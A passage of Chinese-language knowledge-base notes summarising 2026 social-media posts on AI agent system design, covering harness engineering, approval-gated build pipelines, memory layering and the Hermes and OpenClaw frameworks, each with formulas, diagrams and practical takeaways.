- 不做全並行，採用「Serial 主幹 + 局部並行」避免 Git 衝突。
- 擁抱 Bitter Lesson：將控制邏輯寫在 Prompt + Skills 裡（僅 700 行文本），而不是硬編碼在系統狀態機裡，這樣模型變強時系統才能跟著變強。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **長期任務的致命傷是「狀態碎片化」與「上下文漂移」**: 讓 Agent 之間自由聊天 (Direct Communication) 看似智能，實則是災難，因為沒有單一的 SSOT (單一真相來源)。Missions 透過「結構化交接」強制將狀態從對話流中抽離，變成文件。這印證了我們在《Agent Harness Engineering》中學到的：狀態必須落地到檔案系統。
2. **對抗性驗證 (Adversarial Validation) 打破了沉沒成本**: 如果讓寫代碼的 Agent 自己寫測試，它會傾向於掩蓋錯誤（Sunk cost bias）。Factory 故意 spawn (生成) 具有全新上下文的 Agent 來擔任 Reviewer 和 QA，這是極致的軟體工程紀律在 AI 領域的投射。
3. **擁抱 Bitter Lesson (苦澀的教訓)**: 這是整篇演講最具哲學高度的一段。如果你把路由、交接判斷寫死在 Python 的 `if-else` 裡，當 GPT-6 出來時，你享受不到它的智力紅利。把「協作協議」寫在 Prompt 裡，讓大模型自己判斷邊界，這才是與 AI 共同演化的正確姿態。
### 關鍵證據
- 講者 Luke 提到最長的 Mission 已經跑了 16 天，目標是 30 天。並在從零構建 Slack Clone 的真實案例中，達到了 50% 的測試代碼比例與 90% 的覆蓋率。這些數據證明了該架構並非紙上談兵。
### 邊界條件
- 這種架構極度依賴模型的推理與指令遵循能力，且 Token 消耗驚人。講者也承認必須大量依賴 Prompt Caching 技術，否則 16 天的運行成本將無法承受。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 完美融合了《Agent Harness Engineering》(腳手架) 與《從 OpenClaw 到 Hermes》(能力路由與記憶隔離)。這篇文章給出了多 Agent 協作的最佳實踐藍圖。
- **深層洞見**: **"软件工程的瓶颈已经不再是智能，而是人类注意力。" (The bottleneck in software engineering is no longer intelligence, but human attention.)** 人類不該再幫 Agent 擦屁股或 debug 它的中途錯誤。人類的角色應該上升到：定義問題邊界 (Scope)、簽署驗證契約 (Sign Contract)、以及最終驗收。
- **行動呼籲**:
在你的下一個 Agent 專案中，實作一個簡單的 Creator-Verifier 模式。不要用同一個對話框讓 AI 寫程式又自己檢查。開兩個獨立的對話框，一個寫代碼，把代碼複製給另一個，並賦予第二個 AI「嚴苛審查員」的角色。你會立刻感受到產出品質的飛躍。
系統架構
建立具備判斷力的自主構建系統：Auto-think 與 Auto-build (Building Autonomous Hermes Agents: Auto-think and Auto-build Architecture)
"這是一篇關於如何為 Agent 系統（如 Hermes 或 OpenClaw）搭建底層運作架構的深度指南。作者提出將系統嚴格劃分為 Auto-think（負責收集情報與構思）與 Auto-build（負責審批、執行與驗證）兩大流程。透過定義實體化合約（Idea Contract, Product Plan, Build Plan, Trust Report）與設定防呆護欄（發想者不能自己批准專案、執行者不能擴大範圍），將原本混亂的大模型迴圈，轉化為具備記憶、審核與留下收據 (Receipts) 的嚴謹作業系統。"
---
tags: [系統架構, Agent架構, Hermes, 系統設計, 自動化]
date: 2026-05-04
source: "20260512_2026-05-12T092953+0800-How to Build a Hermes Agent That Finds Important Work and Builds It Autonomously.md"
---
# 建立具備判斷力的自主構建系統：Auto-think 與 Auto-build (Building Autonomous Hermes Agents: Auto-think and Auto-build Architecture)
原始來源與檔名：20260512_2026-05-12T092953+0800-How to Build a Hermes Agent That Finds Important Work and Builds It Autonomously.md
來源：[[@gkisokay]] / X (Twitter) — 2026-05-04
原始檔名：`2026-05-12T092953+0800-How to Build a Hermes Agent That Finds Important Work and Builds It Autonomously.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Agent OS = Auto-think (Idea Generation) 🛑 [Approval Gate] 🛑 Auto-build (Execution & Verification)
> System Intelligence = Producing output × Compounding Judgment (Knowing what NOT to build)
_不要給你的人工智慧系統無限權限去「想到什麼就做什麼」。強大的 Agent 系統（如 Hermes）不只是一條提示詞長鏈，而是一個有權限隔離的「虛擬軟體公司」。把「想點子 (Auto-think)」和「寫代碼 (Auto-build)」拆開，並在中間強制插入「合約審查 (Idea Contract)」與「QA 獨立驗證」。讓系統學會判斷「什麼不值得做」，才是真正的智能。_
### 一句話
> 這是一篇關於如何為 Agent 系統（如 Hermes 或 OpenClaw）搭建底層運作架構的深度指南。作者提出將系統嚴格劃分為 Auto-think（負責收集情報與構思）與 Auto-build（負責審批、執行與驗證）兩大流程。透過定義實體化合約（Idea Contract, Product Plan, Build Plan, Trust Report）與設定防呆護欄（發想者不能自己批准專案、執行者不能擴大範圍），將原本混亂的大模型迴圈，轉化為具備記憶、審核與留下收據 (Receipts) 的嚴謹作業系統。
### 餐巾紙草圖
```text
[The Compounding Agent Workflow]
[ Auto-think Layer ]
1. Research Agent -> Gathers Evidence
2. Dreamer Agent -> Proposes "Idea Contract" (Stop! No auto-build!)
[ The Approval Gate ]
3. Main Agent -> Reviews Contract. If Approved -> Writes "Product Plan"
[ Auto-build Layer ]
4. Coder Agent -> Writes "Build Plan" & Executes within bounds. Leaves Receipt.
5. QA Agent -> Independently verifies. Outputs "Verification Delta".
[ Governance ]
6. Trust Report -> Assesses room health (Clean/Watch/Investigate)
7. Retention -> Decides if artifact is kept or pruned.
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **核心問題**: 讓 Agent 思考和寫程式不難，難的是把它們串起來，讓系統自主決定「什麼才是重要的」，且在沒有人類干預下安全構建。
- **架構分離**:
- **Auto-think (進氣道)**: Research 收集證據，Dreamer 根據壓力與訊號提出候選的 Idea Contract（點子合約）。
- **Auto-build (執行艙)**: Main 審核點子並寫下 Product Plan。Coder 負責執行。QA 負責驗證。
- **實體化合約 (Artifacts/Receipts)**: 從點子到落地不是隱式的對話，而是產生明確的 JSON 合約檔案（如 `idea-contract.json`, `product-plan.json`, `qa-verification.json`）。這構建了 "Buildroom" 的骨幹。
- **獨立驗證 (Verification Delta)**: 系統不僅看「測試是否通過」，QA Agent 會比對 Coder 給出的收據與自己驗證的結果是否一致（Confirmed / Drift / Regression）。
- **關鍵護欄 (Guardrails)**: 角色絕對隔離。Dreamer 不能批准自己的專案；Coder 不能擅自擴張範圍；QA 不能盲目蓋章。
- **最終意義**: 初階 Agent 追求「產生更多產出」；高階 Agent 追求「累積判斷力 (Compounding Judgment)」。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **職責分離防止幻覺與失控**: 在單一 Agent 模式下，LLM 很容易因為自己提出了一個好點子，就陷入狂熱並寫出破壞性的代碼。將 Dreamer (發想)、Main (審批)、Coder (執行) 隔離，本質上是在建立三權分立。Dreamer 只能輸出 `.json` 提議，沒有寫入核心系統的權限。這從物理上隔絕了 Agent 的暴走。
2. **合約驅動開發 (Contract-Driven Development)**: 對話是流動且容易遺忘的。透過強制要求生成 `idea-contract.schema.json` 與 `product-plan.schema.json`，系統強迫 Agent 在寫第一行代碼前，清楚定義目標、非目標 (non-goals)、邊界與驗證方法。這確保了執行的收斂性。
3. **信任報告與收據 (Trust & Receipts)**: 大多數框架只要終端機沒有報錯就視為成功。這套架構中，QA Agent 扮演冷酷的稽核員，出具 Verification Delta（驗證落差）。操作員（人類）只需看 Trust Report（Clean/Watch/Investigate），大幅降低了人類介入監管的心智負擔。
### 關鍵證據
- 作者提供了完整的 Buildroom 目錄結構與 JSON 檔案名稱。這表明該架構已經在生產環境中實際落地運作，具備高度的可複製性。
### 隱形假設
- 假設 Agent 的推理能力足以理解複雜的 JSON Schema 並嚴格按照格式與合約精神輸出。如果底層模型（如某些較弱的開源模型）無法嚴格遵循結構化輸出，合約鏈就會斷裂。
### 邊界條件
- 這種架構極其重型（Heavyweight），適用於需要長期累積、無人值守的系統維護、軟體開發或情報分析。對於一次性的簡單查詢或快速的文字潤飾，這套流程的 Overhead（額外開銷）過大。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 完美呼應了 Garry Tan《Meta-Meta-Prompting》中提到的 Agent 必須依賴厚實的資料（Fat Data）。本文中的 JSON 合約與收據，正是那些「厚實的資料」。它也具體實現了「CLAUDE.md」中的 Rule 10（設立檢查點）與 Rule 12（大聲報錯）。
- **深層洞見**: **「A build intent is not approval. A repeated idea is not automatically worth building. (有構建意圖不等於獲得批准。重複出現的想法不代表就值得開發。)」** 這是 AI 自主系統設計的最高境界——抑制衝動。當 AI 學會了說「不」，學會了把點子丟進垃圾桶（Prune），它才真正具有了智慧的特徵。
- **行動呼籲**:
1. 如果你在開發多 Agent 系統，立刻停止讓發想的 Agent 直接執行代碼。
2. 在你的程式碼執行環節前，強制插入一個需要人類按 "Approve" 或是由另一個獨立 Main Agent 審核的「合約檢查點」。這會讓你的系統穩定度提升十倍。
系統架構
從 OpenClaw 到 Hermes：重構長期可用的 Agentic AI 架構 (Rethinking Agentic AI Architecture: From OpenClaw to Hermes)
"本文是作者連續兩個月深度使用 OpenClaw 與 Hermes Agent 後的架構復盤。作者破除了「誰的模型更聰明」的迷思，指出決定 Agent 系統能否長期運作的核心在於「基礎設施的管理能力」。文章將 Agent OS 拆解為七層架構（介面、路由、工具執行、能力、記憶、生命週期、可觀察性），並深入分析了為何 Skill 不該只是 Prompt 模板，而 Memory 也不該只是事實垃圾場。"
---
tags: [系統架構, Agent架構, 系統設計, 工具實踐, 實踐指南]
date: 2026-05-11
source: "20260512_2026-05-12T093057+0800-从 OpenClaw 到 Hermes：重看 Agentic AI 架构.md"
---
# 從 OpenClaw 到 Hermes：重構長期可用的 Agentic AI 架構 (Rethinking Agentic AI Architecture: From OpenClaw to Hermes)
原始來源與檔名：20260512_2026-05-12T093057+0800-从 OpenClaw 到 Hermes：重看 Agentic AI 架构.md
來源：[[@xxxjzuo]] / X (Twitter) — 2026-05-11
原始檔名：`2026-05-12T093057+0800-从 OpenClaw 到 Hermes：重看 Agentic AI 架构.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Agent Usability = Interface (Real Workflow) + Routing (Capability Match)
> Agent Longevity = Managed Runtime (Memory + Configurable Skills + Observability + Safe Failure)
> Agent OS ≠ Chatbot. It is a set of engineering constraints.
_讓 Agent 跑起來很容易，讓它長期活著很難。當底層模型都一樣聰明時，拉開差距的不是「它會用多少工具」，而是系統的控制面：它知不知道什麼時候該看流程、什麼時候該驗證環境、記憶體如何不變成垃圾堆。OpenClaw 解決了「如何讓 Agent 進入真實工作流（非對話框）」；Hermes 解決了「如何自主更新記憶與精細化管理 Skill」。一個成熟的個人 Agent，本質上是一個受嚴格工程約束的「代管執行階段 (Managed Runtime)」。_
### 一句話
> 本文是作者連續兩個月深度使用 OpenClaw 與 Hermes Agent 後的架構復盤。作者破除了「誰的模型更聰明」的迷思，指出決定 Agent 系統能否長期運作的核心在於「基礎設施的管理能力」。文章將 Agent OS 拆解為七層架構（介面、路由、工具執行、能力、記憶、生命週期、可觀察性），並深入分析了為何 Skill 不該只是 Prompt 模板，而 Memory 也不該只是事實垃圾場。
### 餐巾紙草圖
```text
[The 7-Layer Managed Runtime for Agents]
1. Interface -> Where tasks enter (Telegram, CLI, Cron, Webhook). Not just a chat box.
2. Routing -> Matching the task to the right Skill/Profile. Avoids context tax.
3. Tool Execution -> Scoped "Hands". (Reading != Deleting).
4. Capability -> "Skills". Progressive loading (Scripts, Refs, Assets), not giant prompts.
5. Memory -> Stable facts (System rules). Temporary progress stays in Session.
6. Task Lifecycle -> Agent-native cron (spawn with boundaries, logs, fail-safes).
7. Observability -> Human control. Traceability. The emergency brake.
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **痛點**: 網路熱度聚焦於「如何安裝」與「哪個更強」，但真正嚴峻的工程挑戰是：如何養一個長期工作的系統，管理記憶、權限與失敗恢復。
- **第一層 (Tool Selection vs Capability Routing)**: Agent 不能只是會呼叫工具。以 Resend 郵件報錯為例，Agent 需要知道先排查哪一層（收發層、API 層、環境層）。Skill 的描述本質上是「路由觸發器」，寫太寬會互相污染，造成系統性的 Context Tax。
- **第二層 (OpenClaw 的貢獻)**: 讓 Agent 脫離網頁對話框，接入真實工作流（如 CLI 報錯、Webhook）。並證明了記憶是可以分層管理的（L1 核心, L2 日誌, L3 歸檔）。
- **第三層 (Hermes 的進化)**: 實現了「自主記憶更新」與更精細的 Skill 結構。Skill 不再只是一段 Prompt，而是包含 `scripts/`, `references/`, `config/` 的上下文漸進式載入架構。記憶體不該是垃圾堆，流程進 Skill，臨時狀態留 Session。
- **第四層 (隱性耦合的暴露)**: 系統遷移暴露出架構缺陷。例如：記憶說已授權，但真實 Token 已過期。Agent 執行前必須有能力驗證真實環境。
- **結論 (Agent OS 是工程約束)**: 個人 Agent 不是一個更聰明的聊天視窗，而是一個包含了進程、排程、權限收窄、日誌與可追溯性的 Runtime 系統。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **能力過載導致的 Context Tax**: 作者犀利指出，Skill 寫得越多不一定越強。如果 Routing 機制不嚴謹，每次任務啟動時模型都要在龐雜的描述中篩選，這就是在繳納「上下文稅」。沒有選擇機制的工具堆砌，只會讓系統陷入混亂。
2. **記憶體的語義隔離 (Semantic Isolation of Memory)**: 這是對傳統 "Vector DB as Memory" 的嚴厲批判。作者精確定義了界線：穩定的事實（如環境變數、偏好）進 Memory；SOP 流程進 Skill；任務中的臨時進度（如我現在讀到了第幾行）只留在 Session。如果不做隔離，長期的 Memory 就會被垃圾填滿，導致幻覺與效能崩潰。
3. **驗證與可觀察性 (Verification & Observability)**: 多 Agent 並行（Spawn）很簡單，難的是驗證。子 Agent 回報「已完成」，不代表檔案真的存在或 API 真的跑通了。沒有主 Agent 的 Guardrails 和日誌，多 Agent 系統只是在「並行化地製造錯誤」。
### 關鍵證據
- 引用了具體的 Debug 案例（Resend Webhook 的 Payload 層次結構）與 Google Workspace Token 過期的場景，這些都是只有真正在生產環境中重度使用過自動化系統的架構師，才會踩到的血淋淋的坑。
### 邊界條件
- 作者描繪的 7 層架構標準極高，接近現代雲端微服務 (Microservices) 的治理水平。對於只想讓 AI 幫忙寫寫腳本或潤飾文章的輕度使用者，這套 Runtime 架構過於沉重且維護成本極高。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 本文是對 YC CEO Garry Tan 《Meta-Meta-Prompting》的絕佳工程註解！Garry Tan 描述了系統多強大，而這篇文章指出了支撐這種強大的底層骨架（Thin Harness 具體應該做什麼）。同時也印證了 Anthropic 推出 Managed Agents (分離 Brain, Hands, Session) 的必然性。
- **深層洞見**: **"自动化只是稳定地重复错误。" (Automation is just repeating mistakes consistently.)** 除非系統具備捕捉 Gotchas（踩坑經驗）並將其寫回 Skill 的能力，否則 AI 不會產生複利，它只是一個不知疲倦的闖禍機器。
- **行動呼籲**:
如果你正在構建自己的 Prompt 庫或使用 Cursor Rules：
1. 停止把所有流程寫在同一個檔案裡。
2. 開始模組化：把「檢查環境是否就緒」的指令寫在最前面；把「具體操作的參考文獻」分開存放，按需載入。
3. 建立一個 `gotchas.md`，專門記錄 AI 之前犯過的愚蠢錯誤，強迫它每次執行同類任務前先讀一遍。
系統架構
智能體腳手架工程 (Agent Harness Engineering: The Ratchet Principle)
"本文定義了 2026 年最熱門的工程學科：Harness Engineering (腳手架工程)。作者指出，Claude Code 或 Cursor 等工具本質上都是包裹在模型外層的 Harness。Harness 的核心工作包括狀態管理 (Filesystem/Git)、工具執行 (Bash)、記憶體壓實 (Compaction) 以及執行護欄 (Hooks)。最核心的方法論是「行為倒推」與「棘輪機制」，確保系統永遠不會在同一個地方跌倒兩次。"
---
tags: [系統架構, Agent架構, AI工程, 系統設計, 最佳實踐]
date: 2026-05-10
source: "20260512_2026-05-12T093101+0800-Agent Harness Engineering.md"
---
# 智能體腳手架工程 (Agent Harness Engineering: The Ratchet Principle)
原始來源與檔名：20260512_2026-05-12T093101+0800-Agent Harness Engineering.md
來源：[[@addyosmani]] / X (Twitter) — 2026-05-10
原始檔名：`2026-05-12T093101+0800-Agent Harness Engineering.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Agent = Model + Harness (Scaffolding)
> Bad Model + Great Harness > Great Model + Bad Harness
> The Ratchet Principle = Every mistake becomes a permanent rule in the Harness.
_如果你的 Agent 搞砸了任務，別怪大模型笨，也別等下一代模型發布。那不是「模型問題」，那是「配置問題」。Agent = 模型 + 腳手架 (Harness)。腳手架工程 (Harness Engineering) 是一門新學科，核心哲學是「棘輪效應」：Agent 每犯一個錯，你就在系統提示詞 (AGENTS.md) 裡加一條規則，或寫一個攔截 Hook。長此以往，一個二流模型在你的專屬腳手架裡，表現會遠勝過在通用框架裡的頂尖模型。_
### 一句話
> 本文定義了 2026 年最熱門的工程學科：Harness Engineering (腳手架工程)。作者指出，Claude Code 或 Cursor 等工具本質上都是包裹在模型外層的 Harness。Harness 的核心工作包括狀態管理 (Filesystem/Git)、工具執行 (Bash)、記憶體壓實 (Compaction) 以及執行護欄 (Hooks)。最核心的方法論是「行為倒推」與「棘輪機制」，確保系統永遠不會在同一個地方跌倒兩次。
### 餐巾紙草圖
```text
[The Anatomy of an Agent Harness]
[ Context / Memory Layer ] (AGENTS.md, Filesystem, Git)
|
[ Hooks / Guardrails ] (Pre-commit checks, Destructive command blockers)
|
[ ReAct Orchestration Loop ] (Planning -> Execution -> Verification)
|
[ General Tools ] (Bash Sandbox, Headless Browser)
*The Ratchet:* Agent comments out a test -> Rule added: "Never comment out tests" + Hook added to block `.skip(`.
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **定義**: Harness 包含系統提示詞、工具定義、基礎設施（沙箱）、調度邏輯、Hooks 與可觀察性工具。「如果你不是模型，你就是 Harness」。
- **觀念扭轉 (Skill Issue)**: Agent 犯錯不是模型笨，而是 Harness 漏接了。開發者的責任是透過架構（如分離計畫者與執行者）或 Hook（如型別檢查）來防堵錯誤。
- **棘輪機制 (The Ratchet)**: 把錯誤當作永久訊號。Agent 意外註解掉測試碼 -> 在 `AGENTS.md` 規定不准註解 -> 在 Pre-commit hook 阻擋 `.skip(`。系統提示詞裡的每一句話，都必須來自過去的一次真實血淚失敗。
- **核心元件**:
- **狀態**: 檔案系統與 Git。
- **工具**: Bash 是最泛用且強大的工具。
- **沙箱**: 提供安全的執行與自我驗證環境。
- **對抗上下文腐爛**: 透過壓實 (Compaction)、工具輸出卸載 (Offloading) 與漸進式揭露 (Progressive disclosure) 節省 Context Window。
- **長線執行**: 透過強制 Loop、強制寫入計畫檔、分離產出與驗證 Agent 來避免提早退出。
- **護欄 (Hooks)**: 成功時安靜，失敗時大聲報錯並注回 Agent 循環讓其自癒。
- **未來趨勢**: Harness-as-a-Service (HaaS) 崛起，開發者將在 Harness 框架（如 Flue）上構建，而非直接對接 LLM API。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **能力的邊界由 Harness 決定，而非模型**: 作者指出，相同的模型在不同的 Harness 中跑 Benchmark，分數會有巨大落差。這證明了「模型智商」已經不是瓶頸，「系統如何引導、限制並驗證模型」才是工程的核心。
2. **"Success is silent, and failures are verbose." (成功是安靜的，失敗是囉嗦的)**: 這句話道出了 Hook 設計的精髓。如果 Agent 寫對了代碼，Lint 靜默通過；如果錯了，Lint 必須噴出詳盡的錯誤堆疊 (Verbose) 並直接餵回給 Agent。這種「自動化背壓 (Back-pressure)」是 Agent 能自我糾錯的唯一物理基礎。
3. **動態演化的腳手架**: 當模型能力提升（例如原生 Context Window 變大或指令跟隨變強），舊的 Harness（如複雜的記憶體壓實邏輯）反而會成為累贅。Harness 工程師必須像拆除建築腳手架一樣，隨著模型長大而動態移除冗餘架構。
### 關鍵證據
- 引用了 Claude Code 的架構設計，指出其絕大部分工程量都花在 Context Injection、Worktree Isolation 與 Multi-agent Firewall 上。這證明了頂尖的 AI 工具公司，其核心競爭力早已轉移到了 Harness 的設計上。
### 邊界條件
- 棘輪機制的副作用是「規則膨脹」。如果無限期地向 `AGENTS.md` 添加規則，最終會導致 Context 浪費與模型注意力分散（Lost in the middle）。因此作者強調，必須在「模型智力提升」時大膽刪除舊規則。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 完美總結了先前所有關於 Agent 架構的討論！Garry Tan 的 `Skillify` 就是棘輪機制的具體實現；而 `CLAUDE.md` 的 12 條規則，就是這篇文章所謂的「從血淚失敗中提煉出的檢查清單 (Pilot's checklist)」。
- **深層洞見**: **"Every line in a good system prompt should trace back to a specific, historical failure." (優秀系統提示詞裡的每一行字，都應該能追溯到一次具體的歷史失敗。)** 這是對「Prompt 工程師」最嚴厲的鞭策。不要寫空泛的「請你是個好助手」，去寫「絕對不允許在未跑測試前執行 git commit」。
- **行動呼籲**:
立刻檢視你的 Agent 系統（或你的 Claude Code 配置）。如果它今天犯了一個錯，不要只在對話框裡罵它。打開 `AGENTS.md`，寫下一條死規矩；或者寫一個 bash 腳本在它執行前攔截它。這才是建立複利系統的正確姿態。
系統架構
深度拆解：AI Agent Harness 的 12 個核心組件 (The Anatomy of an Agent Harness)
"本文深度解剖了Anthropic, OpenAI, LangChain 都在建構的底層架構：AI Agent Harness（腳手架/治理框架）。文章將 Harness 拆解為 12 個核心模塊（編排循環、工具、記憶、上下文管理、錯誤處理、護欄等），並對比了 Claude Code, LangGraph, CrewAI 等框架的設計哲學。作者指出，「如果你不是模型本身，那你就是 Harness」，且強大的 Harness 設計能讓相同模型在基準測試中的排名產生 20 名以上的巨大差異。"
---
tags: [系統架構, 系統設計, Agent架構, AI工程, 基礎設施]
date: 2026-04-06
source: "20260512_2026-05-12T093114+0800-深度拆解：AI Agent Harness 的构造【译】.md"
---
# 深度拆解：AI Agent Harness 的 12 個核心組件 (The Anatomy of an Agent Harness)
原始來源與檔名：20260512_2026-05-12T093114+0800-深度拆解：AI Agent Harness 的构造【译】.md
來源：[[@dotey]] (原作者 [[@akshay_pachaar]]) / X (Twitter) — 2026-04-06
原始檔名：`2026-05-12T093114+0800-深度拆解：AI Agent Harness 的构造【译】.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> AI Agent ≠ LLM
> Agent = LLM (CPU) + Context (RAM) + Tools (I/O Drivers) + Harness (Operating System)
> Harness = Orchestration Loop + Memory + State + Safety Guardrails
_為什麼你在本地跑的 LangChain Demo 很酷，放進生產環境卻總是崩潰？因為模型沒有變，是你外圍的「腳手架 (Harness)」太脆弱。Harness 是包裹在模型外的一套作業系統，負責管理上下文、處理錯誤、驗證結果與調用工具。它解決了模型的失憶、幻覺與執行中斷。隨著模型變強，Harness 會變薄，但它永遠不會消失。_
### 一句話
> 本文深度解剖了Anthropic, OpenAI, LangChain 都在建構的底層架構：AI Agent Harness（腳手架/治理框架）。文章將 Harness 拆解為 12 個核心模塊（編排循環、工具、記憶、上下文管理、錯誤處理、護欄等），並對比了 Claude Code, LangGraph, CrewAI 等框架的設計哲學。作者指出，「如果你不是模型本身，那你就是 Harness」，且強大的 Harness 設計能讓相同模型在基準測試中的排名產生 20 名以上的巨大差異。
### 餐巾紙草圖
```text
[The 12-Component Agent Harness Architecture]
[ User Input ]
|
[ Prompt Construction ] <--- [ Context Management (Compression/JIT) ] <--- [ Memory (L1/L2/L3) ]
|
[ Orchestration Loop (ReAct) ] <--- [ Guardrails & Safety ]
|
[ LLM Inference ] -> Output Parsing
|
[ Tool Execution (Sandbox) ] ---> [ State Management / Error Handling ]
|
[ Verification Loops (LLM-as-judge) ] ---> Loop back to Orchestration
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **定義**: “如果你不是模型本身，那你就是 Harness”。Harness 就像大模型的作業系統（馮·諾依曼架構中的 OS）。
- **工程三層次**: 提示詞工程 (Prompt) -> 上下文工程 (Context) -> Harness 工程 (架構與生命週期管理)。
- **12 個核心組件**:
1. **編排循環**: ReAct (Thought-Action-Observation) 的心臟，管理回合切換。
2. **工具**: 模型的雙手，在沙箱中執行並返回格式化結果。
3. **記憶**: 分為短期與長期。Agent 行動前必須驗證記憶與現實是否相符。
4. **上下文管理**: 對抗「上下文腐爛」。透過壓實 (Compaction)、即時檢索與子智能體委託。
5. **提示詞構建**: 層級化組裝 (系統 > 工具 > 歷史 > 用戶)。
6. **輸出解析**: 依賴原生 tool_calls 與 Pydantic 模式約束。
7. **狀態管理**: 存檔點 (Checkpointing) 讓中斷可恢復。
8. **錯誤處理**: 分流臨時、可恢復、需人為干預與意外錯誤，避免滾雪球效應。
9. **護欄與安全**: 模型決定想做什麼，Harness 決定允許做什麼。
10. **驗證循環**: 基於規則、視覺截圖或 LLM 作為裁判進行自我驗證。
11. **子智能體編排**: 支援 Clone, Teammate, Worktree 等多種協作模式。
- **協同進化原則**: 腳手架會隨著模型變強而變薄（拆除冗餘），但必須動態更新以匹配模型的新能力。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **模型只是運算單元，Harness 決定了生產力**: 作者引用 TerminalBench 2.0 的數據，證明相同模型在更換 Harness 架構後，排名能狂升 25 名。這徹底粉碎了「只要模型夠強，一切都能解決」的迷思。大語言模型本質上是「無狀態」的，必須靠 Harness 來維持其時間連續性與執行連貫性。
2. **對抗「上下文腐爛 (Context Rot)」是核心挑戰**: 模型存在「Lost in the Middle」的物理缺陷。優秀的 Harness 不會無腦地把歷史記錄全塞進 Prompt，而是採用 Observation masking (隱藏舊輸出) 或 即時檢索 (如使用 `grep` 代替加載全文)。這是區分「玩具」與「生產級 Agent」的分水嶺。
3. **驗證與護欄的物理隔離**: Anthropic 的設計哲學非常精闢：「模型決定想做什麼，但 Harness 決定允許做什麼」。把權限檢查硬編碼在 Harness 層（例如攔截特定的 Bash 命令），遠比在 Prompt 裡懇求模型「請不要刪除檔案」要可靠一萬倍。
### 關鍵證據
- 直接解剖了當前最前沿的架構（Claude Code、OpenAI Agents SDK、LangGraph），並比較了它們在「狀態管理」與「上下文壓縮」上的具體實作差異。這種橫向對比展現了極高的工程視野。
### 邊界條件
- 作者提醒，Harness 設計有七大決策點（如單/多智能體、ReAct/先規劃、驗證機制等）。沒有一體適用的完美 Harness。架構師必須根據業務容錯率，在「執行速度」與「安全護欄」之間做出取捨。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 本文與《Agent Harness Engineering》互為表裡。前者強調了「棘輪機制」等宏觀心法，本文則給出了微觀的 12 模塊解剖圖。這兩篇文章構成了一套完整的 Agent OS 系統設計教科書。
- **深層洞見**: **"建筑脚手架是临时性的基础设施...房子盖好后，脚手架是要拆除的。" (Scaffolding is temporary infrastructure... once the house is built, the scaffolding must be removed.)** 這揭示了 AI 工程師的宿命。今天辛苦寫的記憶壓縮算法，明天可能會因為 GPT-6 的無限原生視窗而作廢。工程師必須學會寫「可拋棄的代碼」，隨時準備重構 Harness。
- **行動呼籲**:
檢視你自己寫的 AI 應用或腳本。它具備「狀態存檔 (Checkpointing)」和「錯誤重試分流」機制嗎？如果在第 8 步 API 超時，它能從第 8 步恢復，還是必須從頭來過？補齊這兩個模塊，你的玩具就能進化為生產級工具。
系統架構
讓 AI Agent 真正運作的秘密：從「對話框」到「神經系統」 (Meta-Meta-Prompting: The Secret to Making AI Agents Work)
"這篇文章由 YC CEO Garry Tan 親自撰寫，詳細展示了他如何利用開源的 Agentic 架構（OpenClaw/Hermes + GBrain）打造包含 10 萬頁記憶的個人 AI 神經系統。文章介紹了 "Book Mirror"（將書籍觀點與個人真實經歷映射）與 "Meeting Prep"（基於歷史記憶自動生成會議策略）的真實案例。其核心工程思想是 "Fat Data, Fat Skills, Thin Harness"，並透過 實現系統能力的自我繁殖與複利增長。"
---
tags: [系統架構, Agent架構, 知識管理, 系統設計, 實踐指南]
date: 2026-05-09
source: "20260512_2026-05-12T093039+0800-Meta-Meta-Prompting The Secret to Making AI Agents Work.md"
---
# 讓 AI Agent 真正運作的秘密：從「對話框」到「神經系統」 (Meta-Meta-Prompting: The Secret to Making AI Agents Work)
原始來源與檔名：20260512_2026-05-12T093039+0800-Meta-Meta-Prompting The Secret to Making AI Agents Work.md
來源：[[@garrytan]] (YC CEO) / X (Twitter) — 2026-05-09
原始檔名：`2026-05-12T093039+0800-Meta-Meta-Prompting The Secret to Making AI Agents Work.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Agent Efficacy = Fat Data (100k pages) + Fat Skills (100+ files) + Thin Harness (OpenClaw)
> The Flywheel = Manual Workflow -> /Skillify -> Compounding Automated Skill
_多數人把 AI 當作高級的 Google 搜尋或打字機。YC CEO Garry Tan 展示了將 AI 當作「個人作業系統（神經系統）」的終極型態。他的系統擁有 10 萬頁的個人資料庫，記錄了每一場會議、每一個聯絡人。透過「技能化（Skillify）」這項元技能，他能將手動操作（如分析一本書如何映射到他的真實人生）固化為 AI 可自動執行的代碼檔案。未來的競爭力，屬於擁有「私有複利 AI 系統」的人，而非使用通用企業 AI 的人。_
### 一句話
> 這篇文章由 YC CEO Garry Tan 親自撰寫，詳細展示了他如何利用開源的 Agentic 架構（OpenClaw/Hermes + GBrain）打造包含 10 萬頁記憶的個人 AI 神經系統。文章介紹了 "Book Mirror"（將書籍觀點與個人真實經歷映射）與 "Meeting Prep"（基於歷史記憶自動生成會議策略）的真實案例。其核心工程思想是 "Fat Data, Fat Skills, Thin Harness"，並透過 `/Skillify` 實現系統能力的自我繁殖與複利增長。
### 餐巾紙草圖
```text
[The Compounding Neural System]
Input (Meetings, Books, PDFs, Videos) -> [Thin Harness: OpenClaw Router]
|
